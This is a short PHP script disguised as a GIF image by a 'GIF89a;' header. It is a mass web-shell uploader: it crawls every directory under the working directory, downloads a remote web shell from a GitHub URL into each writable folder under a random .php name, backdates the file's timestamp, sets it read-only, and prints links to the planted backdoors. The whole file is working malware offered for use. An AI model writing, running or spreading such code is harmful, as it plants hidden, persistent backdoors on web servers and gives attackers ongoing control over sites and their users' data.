GIF89a;
<?php

$getCurrentDir = getcwd();
$domain = $_SERVER['HTTP_HOST'];

function massUpload($getDir) {

  foreach(scandir($getDir) as $pwd) {
    if ($pwd === "." || $pwd == "..") { continue; }
    $path = $getDir . '/' . $pwd;
    if (is_dir($path)) {
      massUpload($path);
    }
  }

  if (is_writable($getDir)) {
    $rName = mt_rand().".php";
    $webShell = file_get_contents("https://raw.githubusercontent.com/exploit-haxor/webshell/main/index.jpg.phP7");
    file_put_contents($getDir . "/" . $rName, $webShell);
    touch($getDir . "/" . $rName, strtotime('2011-03-02'));
    chmod($getDir . "/" . $rName, 0444);
    sleep(0.5);

    echo "Backup link ".$getDir . "/" . $rName. "<br>";
  }
}

massUpload($getCurrentDir);